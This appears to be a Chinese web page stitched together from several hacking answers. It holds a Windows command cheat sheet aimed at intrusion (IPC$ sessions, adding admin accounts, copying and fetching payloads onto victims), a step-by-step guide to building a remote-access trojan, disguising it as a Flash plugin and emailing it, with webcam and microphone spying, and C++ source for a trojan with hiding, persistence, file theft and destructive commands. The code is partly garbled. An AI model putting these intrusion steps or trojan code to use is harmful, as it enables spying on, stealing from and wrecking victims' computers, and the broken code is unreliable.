怎样利用“CMD”进行黑客入侵?
net use ipipc$ " " /user:" " 建立IPC空链接
net use ipipc$ "密码" /user:"用户名" 建立IPC非空链接
net use h: ipc$ "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H:
net use h: ipc$ 登陆后映射对方C:到本地为H:
net use ipipc$ /del 删除IPC链接
net use h: /del 删除映射对方到本地的为H:的映射
net user 用户名 密码 /add 建立用户
net user guest /active:yes 激活guest用户
net user 查看有哪些用户
net user 帐户名 查看帐户的属性
net localgroup administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意:administrator后加s用复数
net start 查看开启了哪些服务
net start 服务名 开启服务;(如:net start telnet, net start schedule)
net stop 服务名 停止某服务
net time 目标ip 查看对方时间
net time 目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息
net view 查看本地局域网内开启了哪些共享
net view ip 查看对方局域网内开启了哪些共享
net config 显示系统网络设置
net logoff 断开连接的共享
net pause 服务名 暂停某服务
net send ip "文本信息" 向对方发信息
net ver 局域网内正在使用的网络连接类型和信息
net share 查看本地开启的共享
net share ipc$ 开启ipc$共享
net share ipc$ /del 删除ipc$共享
net share c$ /del 删除C:共享
net user guest 12345 用guest用户登陆后用将密码改为12345
net password 密码 更改系统登陆密码
netstat -a 查看开启了哪些端口,常用netstat -an
netstat -n 查看端口的网络连接情况,常用netstat -an
netstat -v 查看正在进行的工作
netstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况(查看tcp/ip协议使用情况)
netstat -s 查看正在使用的所有协议使用情况
nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名(03前的为用户名)-注意:参数-A要大写
tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。
ping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。
ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)
ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息
tlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件,“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件
二:
del /S /Q 目录 或用:rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同)
move 盘符路径要移动的文件名 存放移动文件的路径移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖
fc one.txt two.txt 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中," "和" " 是重定向命令
at id号 开启已注册的某个计划任务
at /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止
at id号 /delete 停止某个已注册的计划任务
at 查看所有的计划任务
at ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机
finger username @host 查看最近有哪些用户登陆
telnet ip 端口 远和登陆服务器,默认端口为23
open ip 连接到IP(属telnet登陆后的命令)
telnet 在本机上直接键入telnet 将进入本机的telnet
copy 路径文件名1 路径文件名2 /y 复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件
copy c:srv.exe ipadmin$ 复制本地c:srv.exe到对方的admin下
cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件
copy ipadmin$svv.exe c: 或:copyipadmin$*.* 复制对方admini$共享下的srv.exe文件(所有文件)至本地C:
xcopy 要复制的文件或目录树 目标地址目录名 复制文件和目录树,用参数/Y将不提示覆盖相同文件
tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:server.exe 登陆后,将“IP”的server.exe下载到目标主机c:server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式(传送文本文件模式)进行传送
tftp -i 对方IP put c:server.exe 登陆后,上传本地c:server.exe至主机
ftp ip 端口 用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时)
route print 显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface
arp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息
start 程序名或命令 /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令
mem 查看cpu使用情况
attrib 文件名(目录名) 查看某文件(目录)的属性
attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档,只读,系统,隐藏 属性;用+则是添加为某属性
dir 查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间
date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间,而不必输入新日期和时间
set 指定环境变量名称=要指派给变量的字符 设置环境变量
set 显示当前所有的环境变量
set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量
pause 暂停批处理程序,并显示出:请按任意键继续....
if 在批处理程序中执行条件处理(更多说明见if命令及变量)
goto 标签 将cmd.exe导向到批处理程序中带标签的行(标签必须单独一行,且以冒号打头,例如:“:start”标签)
call 路径批处理文件名 从批处理程序中调用另一个批处理程序 (更多说明见call /?)
for 对一组文件中的每一个文件执行某个特定命令(更多说明见for命令及变量)
echo on或off 打开或关闭echo,仅用echo不加参数则显示当前echo设置
echo 信息 在屏幕上显示出信息
echo 信息 pass.txt 将"信息"保存到pass.txt文件中
findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello
find 文件名 查找某文件
title 标题名字 更改CMD窗口标题名字
color 颜色值 设置cmd控制台前景和背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白
prompt 名称 更改cmd.exe的显示的命令提示符(把C:、D:统一改为:EntSky )
三:
ver 在DOS窗口下显示版本信息
winver 弹出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名)
format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例:format D: /FS:NTFS
md 目录名 创建目录
replace 源文件 要替换文件的目录 替换文件
ren 原文件名 新文件名 重命名文件名
tree 以树形结构显示出目录,用参数-f 将列出第个文件夹中文件名称
type 文件名 显示文本文件的内容
more 文件名 逐屏显示输出文件
doskey 要锁定的命令=字符
doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行,重新调用win2k命令,并创建宏)。如:锁定dir命令:doskey dir=entsky (不能用doskey dir=dir);解锁:doskey dir=
taskmgr 调出任务管理器
chkdsk /F D: 检查磁盘D并显示状态报告;加参数/f并修复磁盘上的错误
tlntadmn telnt服务admn,键入tlntadmn选择3,再选择8,就可以更改telnet服务默认端口23为其它任何端口
exit 退出cmd.exe程序或目前,用参数/B则是退出当前批处理脚本而不是cmd.exe
path 路径可执行文件的文件名 为可执行文件设置一个路径。
cmd 启动一个win2K命令解释窗口。参数:/eff、/en 关闭、开启命令扩展;更我详细说明见cmd /?
regedit /s 注册表文件名 导入注册表;参数/S指安静模式导入,无任何提示;
regedit /e 注册表文件名 导出注册表
cacls 文件名 参数 显示或修改文件访问控制列表(ACL)——针对NTFS格式时。参数:/D 用户名:设定拒绝某用户访问;/P 用户名:perm 替换指定用户的访问权限;/G 用户名:perm 赋予指定用户访问权限;Perm 可以是: N 无,R 读取, W 写入, C 更改(写入),F 完全控制;例:cacls D: est.txt /D pub 设定d: est.txt拒绝pub用户访问。
cacls 文件名 查看文件的访问用户权限列表
REM 文本内容 在批处理文件中添加注解
netsh 查看或更改本地网络配置情况
四:
IIS服务命令:
iisreset /reboot 重启win2k计算机(但有提示系统将重启信息出现)
iisreset /start或stop 启动(停止)所有Internet服务
iisreset /restart 停止然后重新启动所有Internet服务
iisreset /status 显示所有Internet服务状态
iisreset /enable或disable 在本地系统上启用(禁用)Internet服务的重新启动
iisreset /rebootonerror 当启动、停止或重新启动Internet服务时,若发生错误将重新开机
iisreset /noforce 若无法停止Internet服务,将不会强制终止Internet服务
iisreset /timeout Val在到达逾时间(秒)时,仍未停止Internet服务,若指定/rebootonerror参数,则电脑将会重新开机。预设值为重新启动20秒,停止60秒,重新开机0秒。
FTP 命令: (后面有详细说明内容)
ftp的命令行格式为:
ftp -v -d -i -n -g[主机名] -v 显示远程服务器的所有响应信息。
-d 使用调试方式。
-n 限制ftp的自动登录,即不使用.netrc文件。
-g 取消全局文件名。
help [命令] 或 ?[命令] 查看命令说明
bye 或 quit 终止主机FTP进程,并退出FTP管理方式.
pwd 列出当前远端主机目录
put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中
get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中
mget [remote-files] 从远端主机接收一批文件至本地主机
mput local-files 将本地主机中一批文件传送至远端主机
dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件
ascii 设定以ASCII方式传送文件(缺省值)
bin 或 image 设定以二进制方式传送文件
bell 每完成一次文件传送,报警提示
cdup 返回上一级目录
close 中断与远程服务器的ftp会话(与open对应)
open host[port] 建立指定ftp服务器连接,可指定连接端口
delete 删除远端主机中的文件
mdelete [remote-files] 删除一批文件
mkdir directory-name 在远端主机中建立目录
rename [from] [to] 改变远端主机中的文件名
rmdir directory-name 删除远端主机中的目录
status 显示当前FTP的状态
system 显示远端主机系统类型
user user-name [password] [account] 重新以别的用户名登录远端主机
open host [port] 重新建立一个新的连接
prompt 交互提示模式
macdef 定义宏命令
lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录
chmod 改变远端主机的文件权限
case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母
cd remote-dir 进入远程主机目录
cdup 进入远程主机目录的父目录
! 在本地机中执行交互shell,exit回到ftp环境,如!ls*.zip
最佳吧
是黑客的进,采纳为答案的话再加30分
操作步骤:
一、种植木马
现在网络上流行的木马基本上都采用的是C/S 结构(客户端/服务端)。你要使用木马控制对方的电脑,首先需要在对方的的电脑中种植并运行服务端程序,然后运行本地电脑中的客户端程序对对方电脑进行连接进而控制对方电脑。
为了避免不熟悉木马的用户误运行服务端,现在流行的木马都没有提供单独的服务端程序,而是通过用户自己设置来生成服务端,黑洞2004也是这样。首先运行黑洞2004,点击“功能/生成服务端”命令,弹出“服务端配置”界面。由于黑洞2004采用了反弹技术(请参加小知识),首先单击旁边的“查看”按钮,在弹出的窗口中设置新的域名,输入你事先申请空间的域名和密码,单击“域名注册”,在下面的窗口中会反映出注册的情况。域名注册成功以后,返回“服务端配置”界面,填入刚刚申请的域名,以及“上线显示名称”、“注册表启动名称”等项目。为了迷惑他人,可以点“更改服务端图标”按钮为服务端选择一个图标。所有的设置都完成后,点击“生成EXE型服务端”就生成了一个服务端。在生成服务端的同时,软件会自动使用UPX为服务端进行顾酰�苑�穸似鸬揭�乇;さ淖饔谩?
服务端生成以后,下一步要做的是将服务端植入别人的电脑?常见的方法有,通过系统或者软件的漏洞入侵别人的电脑把木马的服务端植入其的电脑;或者通过Email夹带,把服务端作为附件寄给对方;以及把服务端进行伪装后放到自己的共享文件夹,通过P2P软件(比如PP点点通、百宝等),让网友在毫无防范中下载并运行服务端程序。
由于本文主要面对普通的网络爱好者,所以就使用较为简单的Email夹带,为大家进行讲解。我们使用大家经常会看到的Flash动画为例,建立一个文件夹命名为“好看的动画”,在该文件夹里边再建立文件夹“动画.files”,将木马服务端软件放到该文件夹中假设名称为“abc.exe”,再在该文件夹内建立flash文件,在flash文件的第1帧输入文字“您的播放插件不全,单击下边的按钮,再单击打开按钮安装插件”,新建一个按钮组件,将其拖到舞台中,打开动作面板,在里边输入“on (press) {getURL("动画.files/abc.exe");}”,表示当单击该按钮时执行abc这个文件。在文件夹“好看的动画”中新建一个网页文件命名为“动画.htm”,将刚才制作的动画放到该网页中。看出门道了吗?平常你下载的网站通常就是一个.html文件和一个结尾为.files的文件夹,我们这么构造的原因也是用来迷惑打开者,毕竟没有几个人会去翻.files文件夹。现在我们就可以撰写一封新邮件了,将文件夹“好看的动画”压缩成一个文件,放到邮件的附件中,再编写一个诱人的主题。只要对方深信不疑的运行它,并重新启动系统,服务端就种植成功了。
二、使用木马
成功的给别人植入木马服务端后,就需要耐心等待服务端上线。由于黑洞2004采用了反连接技术,所以服务端上线后会自动和客户端进行连接,这时,我们就可以操控客户端对服务端进行远程控制。在黑洞2004下面的列表中,随便选择一台已经上线的电脑,然后通过上面的命令按钮就可以对这台电脑进行控制。下面就简单的介绍一下这些命令的意义。
文件管理:服务端上线以后,你可以通过“文件管理”命令对服务端电脑中的文件进行下载、新建、重命名、删除等操作。可以通过鼠标直接把文件或文件夹拖放到目标文件夹,并且支持断点传输。简单吧?
进程管理:查看、刷新、关闭对方的进程,如果发现有杀毒软件或者防火墙,就可以关闭相应的进程,达到保护服务器端程序的目的。
窗口管理:管理服务端电脑的程序窗口,你可以使对方窗口中的程序最大化、最小化、正常关闭等操作,这样就比进程管理更灵活。你可以搞很多恶作剧,比如让对方的某个窗口不停的最大化和最小化。
视频监控和语音监听:如果远程服务端电脑安装有USB摄像头,那么可以通过它来获取图像,并可直接保存为Media Play可以直接播放的Mpeg文件;需要对方有麦克风的话,还可以听到他们的谈话,恐怖吧?
除了上面介绍的这些功能以外,还包括键盘记录、重启关机、远程卸载、抓屏查看密码等功能,操作都非常简单,明白了吧?做骇客其实很容易。
如何伪装黑客
您提问的描述能否再清晰一些呢,比如您指的是某行业的从业人员伪装黑客还是某个机构伪装黑客行事呢?
您可以继续向我提问,我很乐意给您解答
什么是黑客?什么是电脑病毒?是怎么作的?
什么是计算机病毒
计算机病毒是一个程序,一段可执行码。就像生物病毒一样,计算机病毒有独特的复制能力。计算机病毒可以很快地蔓
延,又常常难以根除。它们能把自身附着在各种类型的文件上。当文件被复制或从一个用户传送到另一个用户时,它们就随
同文件一起蔓延开来。
除复制能力外,某些计算机病毒还有其它一些共同特性:一个被污染的程序能够传送病毒载体。当你看到病毒载体似乎
仅仅表现在文字和图象上时,它们可能也已毁坏了文件、再格式化了你的硬盘驱动或引发了其它类型的灾害。若是病毒并不
寄生于一个污染程序,它仍然能通过占据存贮空间给你带来麻烦,并降低你的计算机的全部性能。
可以从不同角度给出计算机病毒的定义。一种定义是通过磁盘、磁带和网络等作为媒介传播扩散,能“传染” 其他程序
的程序。另一种是能够实现自身复制且借助一定的载体存在的具有潜伏性、传染性和破坏性的程序。还有的定义是一种人为
制造的程序,它通过不同的途径潜伏或寄生在存储媒体(如磁盘、内存)或程序里。当某种条件或时机成熟时,它会自生复制
并传播,使计算机的资源受到不同程序的破坏等等。这些说法在某种意义上借用了生物学病毒的概念,计算机病毒同生物病毒
所相似之处是能够侵入计算机系统和网络,危害正常工作的“病原体”。它能够对计算机系统进行各种破坏,同时能够自我复
制, 具有传染性。
所以, 计算机病毒就是能够通过某种途径潜伏在计算机存储介质(或程序)里, 当达到某种条件时即被激活的具有对计
算机资源进行破坏作用的一组程序或指令集合。
参考:http://www.eduboss.com/pages/winfile/FaQ/bingdu.html
木马是如何编写的(一)
武汉 周侃
特洛依木马这个名词大家应该不陌生,自从98年“死牛崇拜”黑客小组公布Back Orifice以来,木马犹如平地上的惊雷,使在Dos??Windows时代中长大的中国网民从五彩缤纷的网络之梦中惊醒,终于认识到的网络也有它邪恶的一面,一时间人心惶惶。
我那时在《电脑报》上看到一篇文章,大意是一个菜鸟被人用BO控制了,吓得整天吃不下饭、睡不着觉、上不了网,到处求救!呵呵,要知道,木马(Trojan)的历史是很悠久的:早在ATT Unix和BSD Unix十分盛行的年代,木马是由一些玩程式(主要是C)水平很高的年轻人(主要是老美)用C或Shell语言编写的,基本是用来窃取登陆主机的口令,以取得更高的权限。那时木马的主要方法是诱骗??先修改你的.profile文件,植入木马;当你登陆时将你敲入的口令字符存入一个文件,用Email的形式发到攻击者的邮箱里。国内的年轻人大都是在盗版Dos的熏陶下长大的,对网络可以说很陌生。直到Win9x横空出世,尤其是WinNt的普及,大大推动了网络事业的发展的时候,BO这个用三年后的眼光看起来有点简单甚至可以说是简陋的木马(甚至在Win9x的“关闭程序”对话框可以看到进程)给了当时中国人极大的震撼,它在中国的网络安全方面可以说是一个划时代的软件。
自己编写木马,听起来很Cool是不是?!木马一定是由两部分组成??服务器程序(Server)和客户端程序(Client),服务器负责打开攻击的道路,就像一个内奸特务;客户端负责攻击目标,两者需要一定的网络协议来进行通讯(一般是TCP/IP协议)。为了让大家更好的了解木马攻击技术,破除木马的神秘感,我就来粗略讲一讲编写木马的技术并顺便编写一个例子木马,使大家能更好地防范和查杀各种已知和未知的木马。
首先是编程工具的选择。目前流行的开发工具有C++Builder、VC、VB和Delphi,这里我们选用C++Builder(以下简称BCB);VC虽然好,但GUI设计太复杂,为了更好地突出我的例子,集中注意力在木马的基本原理上,我们选用可视化的BCB;Delphi也不错,但缺陷是不能继承已有的资源(如“死牛崇拜”黑客小组公布的BO2000源代码,是VC编写的,网上俯拾皆是);VB嘛,谈都不谈??难道你还给受害者传一个1兆多的动态链接库??Msvbvm60.dll吗?
启动C++Builder 5.0企业版,新建一个工程,添加三个VCL控件:一个是Internet页中的Server Socket,另两个是Fastnet页中的NMFTP和NMSMTP。Server Socket的功能是用来使本程序变成一个服务器程序,可以对外服务(对攻击者敞开大门)。Socket最初是在Unix上出现的,后来微软将它引入了Windows中(包括Win98和WinNt);后两个控件的作用是用来使程序具有FTP(File Transfer Protocol文件传输协议)和SMTP(Simple Mail Transfer Protocol简单邮件传输协议)功能,大家一看都知道是使软件具有上传下载功能和发邮件功能的控件。
Form窗体是可视的,这当然是不可思议的。不光占去了大量的空间(光一个Form就有300K之大),而且使软件可见,根本没什么作用。因此实际写木马时可以用一些技巧使程序不包含Form,就像Delphi用过程实现的小程序一般只有17K左右那样。
我们首先应该让我们的程序能够隐身。双击Form,首先在FormCreate事件中添加可使木马在Win9x的“关闭程序”对话框中隐藏的代码。这看起来很神秘,其实说穿了不过是一种被称之为Service的后台进程,它可以运行在较高的优先级下,可以说是非常靠近系统核心的设备驱动程序中的那一种。因此,只要将我们的程序在进程数据库中用RegisterServiceProcess()函数注册成服务进程(Service Process)就可以了。不过该函数的声明在Borland预先打包的头文件中没有,那么我们只好自己来声明这个位于KERNEL32.DLL中的鸟函数了。
首先判断目标机的操作系统是Win9x还是WinNt:
{
DWORD dwVersion = GetVersion();
// 得到操作系统的版本号
if (dwVersion = 0x80000000)
// 操作系统是Win9x,不是WinNt
{
typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);
file://定义RegisterServiceProcess()函数的原型
HINSTANCE hDLL;
LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;
hDLL = LoadLibrary("KERNEL32");
file://加载RegisterServiceProcess()函数所在的动态链接库KERNEL32.DLL
lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess");
file://得到RegisterServiceProcess()函数的地址
lpRegisterServiceProcess(GetCurrentProcessId(),1);
file://执行RegisterServiceProcess()函数,隐藏本进程
FreeLibrary(hDLL);
file://卸载动态链接库
}
}
这样就终于可以隐身了(害我敲了这么多代码!)。为什么要判断操作系统呢?因为WinNt中的进程管理器可以对当前进程一览无余,因此没必要在WinNt下也使用以上代码(不过你可以使用其他的方法,这个留到后面再讲)。接着再将自己拷贝一份到%System%目录下,例如:C:\Windows\System,并修改注册表,以便启动时自动加载:
{
char TempPath[MAX_PATH];
file://定义一个变量
GetSystemDirectory(TempPath ,MAX_PATH);
file://TempPath是system目录缓冲区的地址,MAX_PATH是缓冲区的大小,得到目标机的System目录路径
SystemPath=AnsiString(TempPath);
file://格式化TempPath字符串,使之成为能供编译器使用的样式
CopyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\\Tapi32.exe").c_str() ,FALSE);
file://将自己拷贝到%System%目录下,并改名为Tapi32.exe,伪装起来
Registry=new TRegistry;
file://定义一个TRegistry对象,准备修改注册表,这一步必不可少
Registry-RootKey=HKEY_LOCAL_MACHINE;
file://设置主键为HKEY_LOCAL_MACHINE
Registry-OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",TRUE);
file://打开键值Software\\Microsoft\\Windows\\CurrentVersion\\Run,如果不存在,就创建之
try
{
file://如果以下语句发生异常,跳至catch,以避免程序崩溃
if(Registry-ReadString("crossbow")!=SystemPath+"\\Tapi32.exe")
Registry-WriteString("crossbow",SystemPath+"\\Tapi32.exe");
file://查找是否有“crossbow”字样的键值,并且是否为拷贝的目录%System%+Tapi32.exe
file://如果不是,就写入以上键值和内容
}
catch(...)
{
file://如果有错误,什么也不做
}
}
好,FormCreate过程完成了,这样每次启动都可以自动加载Tapi32.exe,并且在“关闭程序”对话框中看不见本进程了,木马的雏形初现。
接着选中ServerSocket控件,在左边的Object Inspector中将Active改为true,这样程序一启动就打开特定端口,处于服务器工作状态。再将Port填入4444,这是木马的端口号,当然你也可以用别的。但是你要注意不要用1024以下的低端端口,因为这样不但可能会与基本网络协议使用的端口相冲突,而且很容易被发觉,因此尽量使用1024以上的高端端口(不过也有这样一种技术,它故意使用特定端口,因为如果引起冲突,Windows也不会报错 ^_^)。你可以看一看TNMFTP控件使用的端口,是21号端口,这是FTP协议的专用控制端口(FTP Control Port);同理TNMSMTP的25号端口也是SMTP协议的专用端口。
再选中ServerSocket控件,点击Events页,双击OnClientRead事件,敲入以下代码:
{
FILE *fp=NULL;
char * content;
int times_of_try;
char TempFile[MAX_PATH];
file://定义了一堆待会儿要用到的变量
sprintf(TempFile, "%s", AnsiString(SystemPath+AnsiString("\\Win369.BAT")).c_str());
file://在%System%下建立一个文本文件Win369.bat,作为临时文件使用
AnsiString temp=Socket-ReceiveText();
file://接收客户端(攻击者,也就是你自己)传来的数据
}
好,大门敞开了!接着就是修改目标机的各种配置了!^_^ 首先我们来修改Autoexec.bat和Config.sys吧:
{
if(temp.SubString(0,9)=="edit conf")
file://如果接受到的字符串的前9个字符是“edit conf”
{
int number=temp.Length();
file://得到字符串的长度
int file_name=atoi((temp.SubString(11,1)).c_str());
file://将第11个字符转换成integer型,存入file_name变量
file://为什么要取第11个字符,因为第10个字符是空格字符
content=(temp.SubString(12,number-11)+'\n').c_str();
file://余下的字符串将被作为写入的内容写入目标文件
FILE *fp=NULL;
char filename[20];
chmod("c:\\autoexec.bat",S_IREADS_IWRITE);
chmod("c:\\config.sys",S_IREADS_IWRITE);
file://将两个目标文件的属性改为可读可写
if(file_name==1)
sprintf(filename,"%s","c:\\autoexec.bat");
file://如果第11个字符是1,就把Autoexec.bat格式化
else if(file_name==2)
sprintf(filename,"%s","c:\\config.sys");
file://如果第11个字符是1,就把Config.sys格式化
times_of_try=0;
file://定义计数器
while(fp==NULL)
{
file://如果指针是空
fp=fopen(filename,"a+");
file://如果文件不存在,创建之;如果存在,准备在其后添加
file://如果出错,文件指针为空,这样就会重复
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
{
file://如果已经试了100次了,仍未成功
Socket-SendText("Fail By Open File");
file://就发回“Fail By Open File”的错误信息
goto END;
file://跳至END处
}
}
fwrite(content,sizeof(char),strlen(content),fp);
file://写入添加的语句,例如deltree/y C:或者format/q/autotest C:,够毒吧?!
fclose(fp);
file://写完后关闭目标文件
Socket-SendText("Sucess");
file://然后发回“Success”的成功信息
}
}
上回我们讲到如何修改目标机上的启动配置文件,这回我们就来查看目标机上的目录树和文件吧,这在客户端上使用“dir”命令,跟着敲?:
{
else if(temp.SubString(0,3)=="dir")
{
file://如果前3个字符是“dir”
int Read_Num;
char * CR_LF="\n";
int attrib;
char *filename;
DIR *dir;
struct dirent *ent;
int number=temp.Length();
file://得到字符串的长度
AnsiString Dir_Name=temp.SubString(5,number-3);
file://从字符串第六个字符开始,将后面的字符存入Dir_Name变量,这是目录名
if(Dir_Name=="")
{
file://如果目录名为空
Socket-SendText("Fail By Open DIR's Name");
file://返回“Fail By Open DIR's Name”信息
goto END;
file://跳到END
}
char * dirname;
dirname=Dir_Name.c_str();
if ((dir = opendir(dirname)) == NULL)
{
file://如果打开目录出错
Socket-SendText("Fail by your DIR's name!");
file://返回“Fail By Your DIR's Name”信息
goto END;
file://跳到END
}
times_of_try=0;
while(fp==NULL)
{
file://如果指针是NULL
fp=fopen(TempFile,"w+");
file://就创建system\Win369.bat准备读和写;如果此文件已存在,则会被覆盖
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
{
file://如果已经试了100次了,仍未成功(真有耐心!)
Socket-SendText("Fail By Open File");
file://就发回“Fail By Open File”的错误信息
goto END;
file://并跳到END处
}
}
while ((ent = readdir(dir)) != NULL)
{
file://如果访问目标目录成功
if(*(AnsiString(dirname)).AnsiLastChar()!='\\')
file://如果最后一个字符不是“\”,证明不是根目录
filename=(AnsiString(dirname)+"\\"+ent-d_name).c_str();
file://加上“\”字符后将指针指向目录流
else
filename=(AnsiString(dirname)+ent-d_name).c_str();
file://如果是根目录,则不用加“\”
attrib=_rtl_chmod(filename, 0);
file://得到目标文件的访问属性
if (attrib FA_RDONLY)
file://“”字符是比较前后两个变量,如果相同返回1,否则返回0
fwrite(" R",sizeof(char),3,fp);
file://将目标文件属性设为只读
else
fwrite(" ",sizeof(char),3,fp);
file://失败则写入空格
if (attrib FA_HIDDEN)
fwrite("H",sizeof(char),1,fp);
file://将目标文件属性设为隐藏
else
fwrite(" ",sizeof(char),1,fp);
file://失败则写入空格
if (attrib FA_SYSTEM)
fwrite("S",sizeof(char),1,fp);
file://将目标文件属性设为系统
else
fwrite(" ",sizeof(char),1,fp);
file://失败则写入空格
if (attrib FA_ARCH)
fwrite("A",sizeof(char),1,fp);
file://将目标文件属性设为普通
else
fwrite(" ",sizeof(char),1,fp);
file://失败则写入空格
if (attrib FA_DIREC)
fwrite(" DIR ",sizeof(char),9,fp);
file://将目标文件属性设为目录
else
fwrite(" ",sizeof(char),9,fp);
file://失败则写入空格
fwrite(ent-d_name,sizeof(char),strlen(ent-d_name),fp);
file://将目录名写入目标文件
fwrite(CR_LF,1,1,fp);
file://写入换行
}
fclose(fp);
file://关闭文件
closedir(dir);
file://关闭目录
FILE *fp1=NULL;
times_of_try=0;
while(fp1==NULL)
{
fp1=fopen(TempFile,"r");
file://打开Win369.bat准备读
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
{
file://如果已经试了100次了,仍未成功
Socket-SendText("Fail By Open File");
file://就发回“Fail By Open File”的错误信息
goto END;
file://并跳到END处
}
}
AnsiString Return_Text="";
char temp_content[300];
for(int i=0;i300;i++) temp_content[i]='\0';
file://定义的一个空数组
Read_Num=fread(temp_content,1,300,fp1);
file://从目标文件中读入前300个字符
while(Read_Num==300)
{
Return_Text=Return_Text+temp_content;
file://Return_Text变量加上刚才的300个字符
for(int i=0;i300;i++) temp_content[i]='\0';
Read_Num=fread(temp_content,1,300,fp1);
file://重复
};
Return_Text=Return_Text+temp_content;
file://Return_Text变量加上刚才的300个字符
fclose(fp1);
file://关闭目标文件
Socket-SendText(Return_Text);
file://返回Return_Text变量的内容
}
}
够长吧?!察看目录树这么费劲啊?!你后面可以用BCB中的各种列表框对Client.exe好好美化美化。接下来就是查看指定文件的内容了,Client将使用“type”命令,(手指累不累啊?):
{
else if(temp.SubString(0,4)=="type")
{
file://如果前4个字符是“type”
int Read_Num;
int number=temp.Length();
AnsiString File_Name=temp.SubString(6,number-4);
file://将目标文件流存入File_Name变量中
times_of_try=0;
while(fp==NULL)
{
fp=fopen(File_Name.c_str(),"r");
file://打开目标文件准备读
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
{
file://如果已试了100次了
Socket-SendText("Fail By Open File");
file://返回“Fail By Open File”的错误信息
goto END;
file://跳到END
}
}
AnsiString Return_Text="";
char temp_content[300];
for(int i=0;i300;i++) temp_content[i]='\0';
file://定义一个空数组
Read_Num=fread(temp_content,1,300,fp);
file://从目标文件中读入前300个字符
while(Read_Num==300)
{
Return_Text=Return_Text+temp_content;
file://Return_Text的内容加上刚才的字符
for(int i=0;i300;i++) temp_content[i]='\0';
Read_Num=fread(temp_content,1,300,fp);
file://重复
};
Return_Text=Return_Text+temp_content;
file://Return_Text的内容加上刚才的字符
fclose(fp);
file://关闭目标文件
Socket-SendText(Return_Text);
file://返回Return_Text的内容,即你查看文件的内容
}
}
咳咳!累死了!还是来点轻松的吧??操纵目标机的光驱(注意:mciSendString()函数的声明在mmsystem.h头文件中):
{
else if(temp=="open")
{
file://如果收到的temp的内容是“open”
mciSendString("set cdaudio door open", NULL, 0, NULL);
file://就弹出光驱的托盘
}
else if(temp=="close")
{
file://如果收到的temp的内容是“close”
mciSendString("Set cdaudio door closed wait", NULL, 0, NULL);
file://就收入光驱的托盘。当然你也可以搞个死循环,让他的光驱好好活动活动!^_^
}
}
接着就是交换目标机的鼠标左右键,代码如下:
{
else if(temp=="swap")
{
SwapMouseButton(1);
file://交换鼠标左右键,简单吧?
}
}
